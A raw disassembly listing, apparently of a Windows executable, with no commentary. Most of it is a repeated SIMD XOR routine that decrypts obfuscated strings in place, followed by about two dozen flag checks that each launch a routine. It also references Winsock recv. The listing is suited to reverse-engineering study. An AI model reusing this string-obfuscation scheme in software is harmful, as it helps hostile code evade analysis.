call fcn.140001570
lea rdx, [rbp + 0xaad]
mov byte [rsp + 0x70], sil
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.140062060
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005e094
mov r8d, esi
cmp r13d, 2
jl 0x14005e056
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005e060
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, r10
call fcn.14000baf0
movss xmm0, dword [0x1401ca5c0]
call fcn.140015cb0
movss xmm2, dword [0x1401ca5b0]
lea rcx, [rbp + 0x350]
movaps xmm1, xmm14
call fcn.140001570
mov rcx, rax
call fcn.1400339d0
lea rdx, [rbp + 0xa9e]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140062060
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005e294
mov r8d, esi
cmp r13d, 2
jl 0x14005e251
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005e260
lea rdx, [0x14029c80c]
mov rcx, r10
call fcn.140032c80
cmp byte [0x14029c80c], sil
jne 0x14005e2cd
mov byte [0x14029c825], sil
mov byte [0x14029c826], sil
mov byte [0x14029c72e], sil
mov byte [0x14029c7eb], sil
jmp 0x14005eb43
movss xmm0, dword [0x1401ca5f8]
call fcn.140015cb0
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140062090
mov r10, rax
cmp byte [rax + 0x10], sil
je 0x14005e504
mov r8d, esi
cmp r13d, 2
jl 0x14005e4c4
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14005e4d0
lea rdx, [0x14029c825]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0xb20]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.1400620b0
mov r10, rax
cmp byte [rax + 0xf], sil
je 0x14005e733
mov r8d, esi
cmp r13d, 2
jl 0x14005e6fb
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
jmp 0x14005e733
mov r9, r10
nop
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005e700
lea rdx, [0x14029c826]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0xb30]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.1400620c0
mov r10, rax
cmp byte [rax + 0xf], sil
je 0x14005e963
mov r8d, esi
cmp r13d, 2
jl 0x14005e92a
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
jmp 0x14005e963
mov r9, r10
nop dword [rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005e930
lea rdx, [0x14029c72e]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0xabc]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.1400620d0
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005eb34
mov r8d, esi
cmp r13d, 2
jl 0x14005eaf1
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005eb00
lea rdx, [0x14029c7eb]
mov rcx, r10
call fcn.140032c80
call fcn.14000bbb0
movss xmm2, dword [0x1401ca694]
lea rcx, [rbp + 0x358]
movss xmm1, dword [0x1401ca698]
call fcn.140001570
mov rcx, rax
call fcn.140015bd0
movss xmm2, dword [0x1401ca610]
lea rcx, [rbp + 0x360]
movss xmm1, dword [0x1401ca658]
call fcn.140001570
lea rdx, [rbp + 0x6cd]
mov byte [rsp + 0x71], sil
lea rcx, [rsp + 0x71]
mov rbx, rax
call fcn.140062100
mov r10, rax
cmp byte [rax + 0xc], sil
je 0x14005ed44
mov r8d, esi
cmp r13d, 2
jl 0x14005ed0a
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005ed10
mov rdx, rbx
mov rcx, r10
call fcn.1400318c0
test al, al
je 0x14005f644
cmp byte [0x14029c825], sil
mov byte [0x14029c60c], 1
je 0x14005eda1
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14003c910]
mov byte [0x14029c60b], 1
lea rcx, [rbp + 0x398]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x398]
call fcn.1400459b0
cmp byte [0x14029c826], sil
je 0x14005ede4
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14003cf80]
mov byte [0x14029c60b], 1
lea rcx, [rbp + 0x3a8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x3a8]
call fcn.1400459b0
cmp byte [0x14029c72e], sil
je 0x14005ee27
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14003dcb0]
mov byte [0x14029c60b], 1
lea rcx, [rbp + 0x3b8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x3b8]
call fcn.1400459b0
cmp byte [0x14029c7eb], sil
je 0x14005ee6a
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14003d640]
mov byte [0x14029c60b], 1
lea rcx, [rbp + 0x3c8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x3c8]
call fcn.1400459b0
cmp byte [0x14029c728], sil
je 0x14005eead
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14003e320]
mov byte [0x14029c60d], 1
lea rcx, [rbp + 0x3d8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x3d8]
call fcn.1400459b0
cmp byte [0x14029c823], sil
je 0x14005eef0
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14003e9e0]
mov byte [0x14029c60d], 1
lea rcx, [rbp + 0x3e8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x3e8]
call fcn.1400459b0
cmp byte [0x14029c80e], sil
je 0x14005ef33
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x1400530c0]
mov byte [0x14029c62e], 1
lea rcx, [rbp + 0x3f8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x3f8]
call fcn.1400459b0
cmp byte [0x14029c7e8], sil
je 0x14005ef76
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140053790]
mov byte [0x14029c62e], 1
lea rcx, [rbp + 0x408]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x408]
call fcn.1400459b0
cmp byte [0x14029c7e9], sil
je 0x14005efb9
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140053e50]
mov byte [0x14029c62e], 1
lea rcx, [rbp + 0x418]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x418]
call fcn.1400459b0
cmp byte [0x14029c80b], sil
je 0x14005effc
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140054510]
mov byte [0x14029c62e], 1
lea rcx, [rbp + 0x428]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x428]
call fcn.1400459b0
cmp byte [0x14029c7f6], sil
je 0x14005f03f
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140054bd0]
mov byte [0x14029c62e], 1
lea rcx, [rbp + 0x438]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x438]
call fcn.1400459b0
cmp byte [0x14029c7ef], sil
je 0x14005f082
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140055290]
mov byte [0x14029c62e], 1
lea rcx, [rbp + 0x448]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x448]
call fcn.1400459b0
cmp byte [0x14029c729], sil
je 0x14005f0c5
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x1400558e0]
mov byte [0x14029c62e], 1
lea rcx, [rbp + 0x458]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x458]
call fcn.1400459b0
cmp byte [0x14029c808], sil
je 0x14005f108
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14003f110]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x468]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x468]
call fcn.1400459b0
cmp byte [0x14029c72a], sil
je 0x14005f14b
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14003f7d0]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x478]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x478]
call fcn.1400459b0
cmp byte [0x14029c72f], sil
je 0x14005f18e
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140040400]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x488]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x488]
call fcn.1400459b0
cmp byte [0x14029c80a], sil
je 0x14005f1d1
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140042970]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x498]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x498]
call fcn.1400459b0
cmp byte [0x14029c7f3], sil
je 0x14005f214
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14003fd40]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x4a8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x4a8]
call fcn.1400459b0
cmp byte [0x14029c822], sil
je 0x14005f257
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x1400416b0]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x4b8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x4b8]
call fcn.1400459b0
cmp byte [0x14029c80f], sil
je 0x14005f29a
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140041140]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x4c8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x4c8]
call fcn.1400459b0
cmp byte [0x14029c7ee], sil
je 0x14005f2dd
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140042420]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x4d8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x4d8]
call fcn.1400459b0
cmp byte [0x14029c72d], sil
je 0x14005f320
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140053790]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x4e8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x4e8]
call fcn.1400459b0
cmp byte [0x14029c7ec], sil
je 0x14005f363
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x1400436a0]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x4f8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x4f8]
call fcn.1400459b0
cmp byte [0x14029c7ed], sil
je 0x14005f3a6
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140043d60]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x508]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x508]
call fcn.1400459b0
cmp byte [0x14029c72c], sil
je 0x14005f3e9
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140042fd0]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x518]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x518]
call fcn.1400459b0
cmp byte [0x14029c7f7], sil
je 0x14005f42c
lea rcx, [rbp + 0x760]
